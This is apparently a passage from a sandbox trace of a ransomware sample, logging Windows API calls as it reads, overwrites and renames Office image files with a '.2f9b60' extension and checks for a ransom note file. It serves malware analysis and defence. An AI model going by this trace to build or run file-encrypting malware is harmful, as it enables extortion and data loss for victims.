Seed=0x2c8df850) returned 0x6d11bf59 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x7b4f01c3 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x1e2d85b3 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x56afa468 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x5ce40a3f [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x401adb31 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x77f74748 [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x54f63c4b [0144.302] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x54c08b72 [0144.303] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x3a5c5bac [0144.303] RtlRandomEx (in: Seed=0x2c8df850 | out: Seed=0x2c8df850) returned 0x3284f60 [0144.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0144.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0144.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0144.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.313] ReadFile (in: hFile=0x1ac0, lpBuffer=0x42331d40, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x2c8df850, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesRead=0x2c8df850*=0x838, lpOverlapped=0x0) returned 1 [0144.313] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.313] WriteFile (in: hFile=0x1ac0, lpBuffer=0x42326910*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x2c8df854, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesWritten=0x2c8df854*=0x838, lpOverlapped=0x0) returned 1 [0144.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0144.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0144.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0144.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0144.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0144.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0144.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0144.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fbf0 [0144.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0144.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0144.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264800) returned 1 [0144.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x166f20 [0144.339] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.339] WriteFile (in: hFile=0x1ac0, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c8df970, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x2c8df970*=0x114, lpOverlapped=0x0) returned 1 [0144.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0144.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0144.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0144.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0144.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0144.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0144.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202adef0 [0144.363] wcscpy (in: _Dest=0x202adef0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" [0144.363] wcscat (in: _Dest=0x202adef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.2f9b60" [0144.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.2f9b60", NtPathName=0x2c8df990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4205ef50 [0144.363] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2c8dfa30, FileInformation=0x4205ef50, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0145.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ef50) returned 1 [0145.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0145.383] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2c8df9f8, FileInformation=0x2c8dfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c8df9f8, FileInformation=0x2c8dfa08) returned 0x0 [0145.383] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2c8df9f8, FileInformation=0x2c8dfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adef0) returned 1 [0145.390] FlushFileBuffers (hFile=0x1ac0) returned 1 [0145.398] CloseHandle (hObject=0x1ac0) returned 1 [0145.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10b00 [0145.399] wcscpy (in: _Dest=0x1ce10b00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.399] wcscat (in: _Dest=0x1ce10b00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10b00) returned 1 [0147.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862a90) returned 1 Thread: id = 1883 os_tid = 0x102c [0133.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg")) returned 0x20 [0135.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg", dwFileAttributes=0x20) returned 1 [0138.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f0c [0140.462] GetFileSizeEx (in: hFile=0x1f0c, lpFileSize=0x2c9afc20 | out: lpFileSize=0x2c9afc20*=1104) returned 1 [0140.462] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x44c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.463] ReadFile (in: hFile=0x1f0c, lpBuffer=0x2c9afba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c9afbe8, lpOverlapped=0x0 | out: lpBuffer=0x2c9afba0*, lpNumberOfBytesRead=0x2c9afbe8*=0x4, lpOverlapped=0x0) returned 1 [0140.483] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0140.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.484] NtQuerySystemTime (in: CurrentTime=0x2c9afae0 | out: CurrentTime=0x2c9afae0*=132462177457270000) returned 0x0 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x104c525b [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x7b36e610 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x42034cb0 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x5a68d76d [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x31827f26 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x3ca8a05f [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x7a3ece84 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x2928f091 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x18212e13 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x54020e95 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x25a50133 [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0xf98395f [0140.484] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x26999b84 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x7ba89ffc [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x48b935cc [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x40b026d2 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x11a28660 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x1bfd162a [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x2f9970b4 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x7cf7e4d5 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x74e69c2e [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x24d588e7 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x73ddaf5b [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x6dbcd254 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x137b46dc [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x111a9553 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x54b956e2 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x13dd0db1 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x5623d292 [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x6c4ecf4f [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x65636d6a [0140.485] RtlRandomEx (in: Seed=0x2c9afad0 | out: Seed=0x2c9afad0) returned 0x7dae11bb [0140.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0140.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0140.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0140.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0140.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0140.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42229960 [0140.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4222d570 [0140.503] ReadFile (in: hFile=0x1f0c, lpBuffer=0x42229960, nNumberOfBytesToRead=0x450, lpNumberOfBytesRead=0x2c9afad0, lpOverlapped=0x0 | out: lpBuffer=0x42229960*, lpNumberOfBytesRead=0x2c9afad0*=0x450, lpOverlapped=0x0) returned 1 [0140.503] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.503] WriteFile (in: hFile=0x1f0c, lpBuffer=0x4222d570*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2c9afad4, lpOverlapped=0x0 | out: lpBuffer=0x4222d570*, lpNumberOfBytesWritten=0x2c9afad4*=0x450, lpOverlapped=0x0) returned 1 [0140.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0140.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0140.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0140.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4222d570) returned 1 [0140.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42229960) returned 1 [0140.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0140.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0140.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eeb0 [0140.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0140.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0140.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0140.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0140.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f4b0 [0140.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0140.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0140.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0140.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0140.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0140.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x168120 [0140.911] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.911] WriteFile (in: hFile=0x1f0c, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c9afbf0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x2c9afbf0*=0x112, lpOverlapped=0x0) returned 1 [0140.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0140.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eeb0) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a40) returned 1 [0140.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861960 [0140.983] wcscpy (in: _Dest=0x1b861960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" [0140.984] wcscat (in: _Dest=0x1b861960, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.2f9b60" [0140.984] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.2f9b60", NtPathName=0x2c9afc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e3f0 [0140.984] NtSetInformationFile (FileHandle=0x1f0c, IoStatusBlock=0x2c9afcb0, FileInformation=0x4205e3f0, Length=0xc4, FileInformationClass=0xa) returned 0x0 [0145.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e3f0) returned 1 [0145.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fca40) returned 1 [0145.434] NtQueryInformationFile (in: FileHandle=0x1f0c, IoStatusBlock=0x2c9afc78, FileInformation=0x2c9afc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c9afc78, FileInformation=0x2c9afc88) returned 0x0 [0145.434] NtSetInformationFile (FileHandle=0x1f0c, IoStatusBlock=0x2c9afc78, FileInformation=0x2c9afc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861960) returned 1 [0145.447] FlushFileBuffers (hFile=0x1f0c) returned 1 [0145.482] CloseHandle (hObject=0x1f0c) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b861960 [0145.484] wcscpy (in: _Dest=0x1b861960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.484] wcscat (in: _Dest=0x1b861960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861960) returned 1 [0147.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d870) returned 1 Thread: id = 1884 os_tid = 0x1030 [0133.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg")) returned 0x20 [0135.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0138.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee8 [0140.363] GetFileSizeEx (in: hFile=0x1ee8, lpFileSize=0x2cb6f7e0 | out: lpFileSize=0x2cb6f7e0*=21553) returned 1 [0140.363] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x542d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.363] ReadFile (in: hFile=0x1ee8, lpBuffer=0x2cb6f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2cb6f760*, lpNumberOfBytesRead=0x2cb6f7a8*=0x4, lpOverlapped=0x0) returned 1 [0140.369] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0140.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cf0 [0140.370] NtQuerySystemTime (in: CurrentTime=0x2cb6f6a0 | out: CurrentTime=0x2cb6f6a0*=132462177456178000) returned 0x0 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x27de89fc [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x2ab28122 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x5f31fabd [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x2a02637e [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x3890195c [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x4a6c1ec0 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x6dbb54ac [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x2c5eb624 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x5236b504 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x58d938de [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x6b6826cb [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x7b415c20 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x1d016f88 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x4d71e1e2 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x75e13553 [0140.370] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x6a709b17 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x511af14b [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 